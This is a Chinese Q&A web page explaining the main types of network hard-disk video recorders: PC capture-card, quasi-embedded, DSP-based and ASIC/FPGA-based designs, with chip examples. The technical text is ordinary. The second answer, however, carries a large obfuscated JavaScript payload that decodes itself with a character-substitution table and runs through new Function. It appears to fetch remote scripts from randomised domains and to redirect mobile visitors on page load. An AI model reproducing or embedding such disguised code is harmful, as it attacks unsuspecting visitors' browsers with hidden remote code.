网络硬盘录像机的主要类型

2025-02-19 05:42:49
推荐回答(2个)
回答1:

基于PC插卡的网络硬盘录像机
最早的硬盘录像机是PC插卡型,视频采集卡主要包括视频信号的采集、数字视频压缩处理和视频缓存等几部分,其中数字视频压缩处理芯片有多种不同的类型(通用DSP或专用ASIC)。随着CPU、内存等核心芯片的不断升级,计算机的主频及综合处理能力得到不断提高,因而在单卡硬盘录像机的基础上进一步出现了多卡多路硬盘录像机,也即在PC的多个扩充槽中同时插入多块支持并行处理的单路视音频采集卡,以实现多路视音频信号的同时实时采集。由于每一块卡仅对应于1路信号,因而采集卡的数量可根据视频信号的路数要求而灵活配置。不过,当在PC中插入多块卡时,占用的PC资源也相应增加,如CPU及内存资源、主板上扩充槽的数量、主板电源功率等。因此,当摄像机源数量(即采集卡数量)较多时,这种硬盘录像机就必须采用具有多插槽工控底板的工控机,并配以大功率电源,并且对CPU的主频要求也更高。
为了解决多卡应用的资源占用问题,在单卡单路硬盘录像机问世后不久,有厂家推出了在一块卡上集成两片甚至4片视频处理芯片(DSP或ASIC)的多路视音频采集卡,因而可以同时实现对两路信号或4路信号的实时采集与压缩处理。这种结构实际上是每路视频信号唯一地对应着一片视频处理芯片,但是它们共用一片PCI-PCI桥接芯片,因而仅占用一个PC插槽,加上视音频信号的采集压缩是由卡上的硬件来实现,因而有效地减少了硬盘录像对PC资源的占用。 还有一种与上述实现原理不尽相同的基于PC的单卡多路硬盘录像机:卡上的一片视频处理芯片就要处理多路输入信号,因而需采用时分轮换方式对多路视频信号进行采集,并以M-JPEG压缩格式进行录像。虽然M-JPEG的压缩效率不如基于多帧预测编码的MPEG-1、MPEG-4及H.264等的压缩格式高,但由于在单通道轮换采集多路视频时,相继帧的画面失去了相关性(根本不是同一个摄像机摄取的画面),因而采用基于帧间预测的视频压缩算法就失去了意义,只能采用帧内压缩算法。因此,这种方式的硬盘录像机是对采集的每一帧画面独立地进行JPEG压缩处理,而后将对应于每一路输入的各帧画面形成独立的M-JPEG文件。这种方式显然可以方便地实现多路采集,例如,在不考虑录像画面的连续性要求时,就可以方便容纳多达16路的视频输入,但是对于只能以25帧/s的速率对视频信号进行采集的视频处理芯片来说,无论有多少路视频信号轮流切换到其输入端,其25帧/s的“总资源”是不能变的,因此对这种形式的硬盘录像机来说,每路画面的最大平均帧率仅为25/16=1.56帧/s(理想值)。
上述结构的改进型产品增加了视频采集的通道数(如在一块卡上集成有4个采集通道),从而可以对多路视频输入信号在每一个采集通道进行并行采集,这就相当于增加了显示及录像的“总资源”数(多路轮换加多通道采集)。例如,某厂家采用两块8路采集卡来实现16路信号采集,使DVR的“总资源”达到160帧/s。
需要说明的是:由于M-JPEG压缩算法缺乏帧间压缩,会导致总的视频压缩比小,从而使图像存储量加大(这当然会增大硬盘的开销)。例如:在获得与MPEG-1图像质量相当的清晰度时,M-JPEG图像每帧的字节数约需6K~20KB,这大约相当于MPEG-1图像的3~10倍。另外,采用M-JPEG算法的DVR产品很难做到对多路声音信号的同步记录,因为JPEG标准本身并没有对声音压缩方法的描述。特别是当因多路轮换而出现录像丢帧现象时,如何同步声音更是一个需要考虑的问题。还有,由于M-JPEG并没有形成统一的标准,而仅是对压缩方法作了原则性的描述或句法规定,因此实际的M-JPEG标准都是各DVR厂家自行规定并编制的,各厂家的M-JPEG标准并不通用。这就是说,某个品牌的DVR所记录的录像文件一般不能在其他基于M-JPEG压缩的DVR系统中调用,也不能被诸如Microsoft媒体播放机(Media Player)之类的通用媒体播放软件来调用,这就限制了不同品牌的多套DVR系统的组网应用。 基于PC结构的准嵌入式硬盘录像机
前面所介绍的基于PC插卡的硬盘录像机没有脱离PC体系:PC的外观、PC的体系结构、PC的操作系统、PC的界面,……。因而它可以被认为是一种PC的扩展应用,只要退出硬盘录像应用程序(或者将应用程序置于后台运行),这台硬盘录像机就是一个标准的PC了,用户可以方便地在MS Office环境下进行文档编辑、报表统计等操作,……。然而,正因为如此,这种结构的硬盘录像机很容易被病毒侵袭而致使系统瘫痪;也可能会由于硬件兼容性问题或是由于系统软件的某些BUG而致使系统宕机;更有甚者,甚至可能因系统管理人员的自身问题(例如操作人员将录像程序置于后台运行而在前台玩游戏)并因为某些误设置、误操作而致使录像系统无法使用。
为了脱离PC体系,有商家推出了一种准嵌入式硬盘录像机。但从实质上说,这种DVR并没有真正脱离PC体系,因为它仍然采用了PC的硬件结构:主板上除了CPU及其他周边器件外,还集成有显卡、声卡、网卡,也有用于插接视频采集卡的PCI扩充槽,电源部分也是采用带有风扇的大功率开关电源。不过,为了使其以专业设备的形式出现于监控市场,机器采用了整体化设计。与前述基于PC的DVR相比,这种准嵌入式DVR充分利用的PC的硬件资源,并有效地考虑了机器的整体空间布局,结构更加紧凑、体积也有效地减小,专门用于实现监控系统中的硬盘录像。
CIVON即是较早面世的准嵌入式DVR之一,该产品基于微型PC主板,具有两个横置的PCI插槽,最少可插入一块单路视频采集卡,最多可插入两块4路视频采集卡,并可挂接一块PC标准硬盘,因而可以灵活地构成不同路数的硬盘录像机。
与普通PC一样,该机也是采用Pentium系列CPU,但是在PC主板的主引导IDE接口上接入的是一片内嵌了Linux操作系统及应用程序的电子盘。当机器上电时,机器自动由电子盘的Linux系统引导,然后自动启动硬盘录像应用程序。通过外接显示器和键盘、鼠标,用户可以像操作PC一样对其进行基本设置(只是机器的操作系统是Linux而非DOS或Windows),一旦设置完毕,显示器和键盘、鼠标等外设均可去掉。此时,如果联网的客户端安装有配套的硬盘录像管理软件,即可以通过网络由客户端访问这台DVR,可观看实时图像或是调看录像文件,还可以对该硬盘录像机进行其他设置与调整。 DSP嵌入式是基于DSP的嵌入式硬盘录像机
嵌入式硬盘录像机彻底脱离了PC结构,采用的是以DSP为核心的整体结构,视频采集、视频压缩处理、网络接口等各功能模块均集成在单一的电路板上。就核心芯片DSP来说,市场上主要有TI公司的TMS320C6xxx系列、Philip公司的Trimedia系列、Equator公司的MAP-CA(BSP)系列和AD公司的ADSP-BF5xx系列等。
DSP本身并不对视频信号进行采集,因此,对基于DSP的硬盘录像机来说,一般还需与视频采集芯片配合使用,如Philip公司的视频处理芯片SAA7111A等。输入到DVR的模拟视频信号(S-Video或CVBS)首先经SAA7111A进行模数转换和数据格式处理,得到标准的ITU-R BT.656格式的数字视频流,再送给DSP去处理。
DSP的处理能力一般取决于其时钟频率和处理单元的并行度。至今流行的DSP大都有多个可以并行执行的处理单元,每个执行单元都由算术逻辑运算单元(ALU)、多路器和累加器等组成。
TI公司的TMS320C6xxx 系列
TI公司的TMS320C6xxx 系列即属于高性能的DSP芯片,该系列可以分成定点和浮点两大类,综合了至今流行的DSP的所有优点,具有较高的性价比和低功耗性能。采用该系列中不同型号芯片的DVR的视频处理能力并不相同,压缩标准主要为MPEG-4和H.264等两种,图像的分辨率从低到高依次为CIF、2CIF(DCIF)、D1,其中能处理D1图像质量的DVR一般均支持4路CIF质量的实时录像。
Philips公司的TriMedia系列
TriMedia是Philips公司推出的专门用于多媒体视频、音频应用的DSP芯片。其中PNX1302即是TriMedia系列中一种具有较高质量数字视频、音频应用处理能力的媒体处理器。PNX1500是Philips公司继PNX1302之后推出的一款功能更为强大的针对音视频、图形和通讯等多媒体应用的32位DSPCPU。PNX1500内核带有一个C/C++可编程的TM3260 CPU,符合并行VLIW结构,其片内独立的DMA接口可以加速数据处理,而图像缩放、去交织和2D绘图等诸多协处理单元则极大地提高了该芯片的多媒体处理能力。
Equator公司的MAP-CA系列
Equator公司推出的高速宽带DSP系列芯片MAP-CA又称作宽带信号处理器(BSP,Broadband Signal Processor),它可以在300MHz的高速时钟下工作,处理能力达到30 GOPS(Giga Operations Per Second,即每秒300亿次整数运算),约相当于Pentium III处理速度的6.4倍,主要用于高性能、大数据量的宽带视频应用,如嵌入式硬盘录像机(DVR)、嵌入式网络视频服务器(DVS)以及数字机顶盒、数字电视、视频会议系统、医疗图像产品等。这里,MAP-CA是Equator公司MAP系列超长指令字VLIW(Very Long Instruction Word)处理器中的一种,其最新的MAP-BSP-15的工作频率进一步提高到400MHz,使数据处理能力达到40GOPS(针对视频编码)。MAP-CA主要包含一个超长指令字处理器内核、一个可编程位流协处理器(The VLx)、视频滤波协处理器、显示刷新控制器和丰富的数字I/O接口等。MAP-CA支持各种用软件实现的视频、图像以及信号的压缩和解压缩,这种软件实现的算法相对硬件实现有很大的优越性,升级非常方便。
ADI公司的ADSP-BF5xx系列
ADI公司的ADSP-BF5xx处理器是在其Blackfin系列处理器的基础上发展起来的。其中Blackfin系列处理器内核的多个功能块可以支持8/16/32位整数型数据和16/32位分数型数据,特别是其中的4个8位视频算术逻辑单元(ALU)可以寻址包括MPEG-2、MPEG-4和JPEG在内的若干多媒体算法,使一个处理器可以同时处理音频、视频、图像和数据四种信息。而Blackfin系列的升级型产品ADSP-BF533、ADSP-BF532和ADSP-BF531不仅继承了Blackfin系列产品容易使用和代码兼容的优点,还显著提高了性能并且降低了功耗。这三种新处理器的引脚完全兼容,不同之处仅在于其性能和片内存储器的容量差别,系统性能易于升级并且减少新产品开发中的许多风险。
ADSP-BF533具有600MHz时钟频率和1.2GMACS(每秒十亿次乘法累加运算)运算速度,非常适合于嵌入式视频和宽带接入网关应用。 ASIC插卡式是基于ASIC插卡的网络硬盘录像机
ASIC即Application Specified IC,也即专门为应用目的而定制的集成电路,因此,基于视频ASIC的硬盘录像机结构更加紧凑,性能更加完善。不过,由于ASIC的结构往往需要参考新型算法在DSP上的成功移植,因此,就同一压缩格式(如H.264)的硬盘录像机的面世时间来说,基于ASIC的DVR一般都是晚于基于DSP的DVR。
SM2210即是Stream Media公司推出的一款实时MPEG-2视频编/解码芯片,它兼容于ISO/IEC-13818的MP@ML、SP@ML和MP@LL标准,并具有良好的接口特性,因此,SM2210在保证高质量图像处理的同时,可以方便地与飞利浦公司的视频编解码芯片及Flash和 SDRAM存储器等周边器件相接。在编码方式时,SM2210接受符合ITU-R 601或ITU-R 656格式的数字视频信号输入,并首先对其进行4:2:2至4:2:0格式的转换,然后对该数字视频信号进行可编程的预滤波,再然后进行实时数字编码,形成按MPEG-2 MP@ML格式压缩的比特流,其帧结构可以是IBBBP、IBBP、IBP、IP或单I帧。用户也可自行定义量化矩阵,自行选择图像的有效区域。在解码方式时,SM2210接受MPEG-1、MPEG-2格式的比特流并进行解码,然后进行滤波,输出符合ITU-R 601 或ITU-R 656格式的数字视频信号。SM2210不仅支持NTSC、PAL及FILM(电影)等多种视频格式、分辨率和帧率,还可以编解码VCD和SVCD格式的比特流。
很多ASIC往往还与FPGA(Field Programmable Gate Array)配合使用,将某些特定算法专门交由FPGA来实现,例如,MPEG-2和MPEG-4算法中的核心部分——离散余弦变换(DCT)的操作。虽然MPEG算法中的DCT部分已经标准化并能在ASIC或FPGA中有效实现,但MPEG编码中仍有许多部分尚未明确规定,而正是这些不明确部分使得一家公司的产品得以区别于竞争对手,并开发出拥有自主产权的算法。因此,一些基于ASIC的DVR便在这些部分(如运动估计模块)使用了FPGA,因为FPGA可重新配置,因此器件能方便地进行刷新,并在整个开发阶段(包括配置之后)集成新算法。而完全依赖标准ASIC解决方案的公司由于受到芯片自身的限制而无法开发出性能更优的类似产品,市场风险较大。

回答2:

硬盘录像机:数字视频录像机

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();